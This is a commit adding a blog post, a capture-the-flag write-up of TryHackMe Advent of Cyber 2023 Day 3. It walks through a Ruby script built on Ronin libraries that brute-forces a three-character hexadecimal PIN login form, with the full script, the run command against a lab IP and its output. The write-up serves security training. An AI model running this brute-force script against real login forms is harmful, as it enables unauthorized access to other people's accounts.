Added a blog about solving Advent of Cyber 2023 Day 3 using Ronin.

blog/_posts/2023-12-03-solving-advent-of-cyber-day-3-using-ronin.md

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+---
+layout: post
+title: Solving Advent of Cyber 2023 Day 3 using Ronin
+author: postmodern
+tags:
+  - adventofcyber
+  - adventofcyber2023
+  - ctf
+  - tryhackme
+  - ruby
+  - ronin
+  - writeup
+---
+
+This year I decided to try using Ronin to solve the [Advent of Cyber 2023]
+challenges. Let's see how far I can get.
+
+The Day 3 challenge involves a basic HTTP form which accepts a three digit PIN
+code. The PIN code can contain numeric or uppercase hexadecimal numbers.
+The instructions for the challenge recommends using the [crunch] utility to
+generate a wordlist file containing every three character combination of
+uppercase hexadecimal characters and then use [hydra] to bruteforce the login
+form. Instead, we're going to do all of that in a single Ruby script using
+Ronin and it's powerful libraries.
+
+First, we will test the HTTP form by intentionally entering an incorrect PIN
+code and seeing what the response is. In the Network tab of Chrome DevTools,
+we can see a failed login attempt results in a HTTP 302 response with a 
+`Location` header of `error.php`. Since we don't know what a valid login
+HTTP response looks like, we will have to assume anything that is not a
+HTTP 302 redirect to `error.php` can be considered a successful login.
+
+Next we will write a bruteforcing Ruby script which will send every possible
+three character combination of numbers and uppercase hexadecimal characters.
+To do that we will use the [chars] library, which provides a
+[Chars::UPPERCASE_HEXADECIMAL] constant containing characters `0` - `9` and
+`A` - `F`. Then we will use the [wordlist] library to generate every character
+combination of uppercase hexadecimal characters. Then we will use
+[ronin-support] to establish a persistent HTTP connection and send login
+requestions until a non-HTTP 302 redirect response is returned.
+
+```ruby
+require 'ronin/support'
+require 'wordlist'
+require 'chars'
+
+include Ronin::Support
+
+charset  = Chars::UPPERCASE_HEXADECIMAL.chars
+wordlist = Wordlist::Words.new(charset) ** 3
+
+ip   = ARGV[0]
+http = http_connect(ip,8000)
+
+response       = http.get('/pin.php')
+session_cookie = response['Set-Cookie']
+
+wordlist.each do |pin|
+  print_info "Trying #{pin} ..."
+  response = http.post('/login.php', form_data: {pin: pin},
+                                     cookie:    session_cookie)
+
+  if response.code == '302' && response['Location'] == 'error.php'
+    # login failed, keep trying ...
+  else
+    print_success "Jack Pot! #{pin}"
+    exit 0
+  end
+end
+```
+
+Now to run the bruteforcing Ruby script against the target machine IP.
+We will add the `--jit` option to try to speed it up our Ruby script as much as
+possible.
+
+```shell
+$ ruby --jit bruteforce.rb 10.10.185.45
+```
+and eventually we will hit the correct PIN code:
+
+```
+...
+[*] Trying 6F2 ...
+[*] Trying 6F3 ...
+[*] Trying 6F4 ...
+[*] Trying 6F5 ...
+[+] Jack Pot! 6F5
+```
+
+As you can see, Ronin provides you with powerful libraries that can make solving
+CTF challenges easy and fun.
+
+[Advent of Cyber 2023]: https://tryhackme.com/room/adventofcyber2023
+[crunch]: https://www.kali.org/tools/crunch/
+[hydra]: https://www.kali.org/tools/hydra/
+[chars]: https://github.com/postmodern/chars.rb#readme
+[wordlist]: https://github.com/postmodern/wordlist.rb#readme
+[ronin-support]: https://github.com/ronin-rb/ronin-support#readme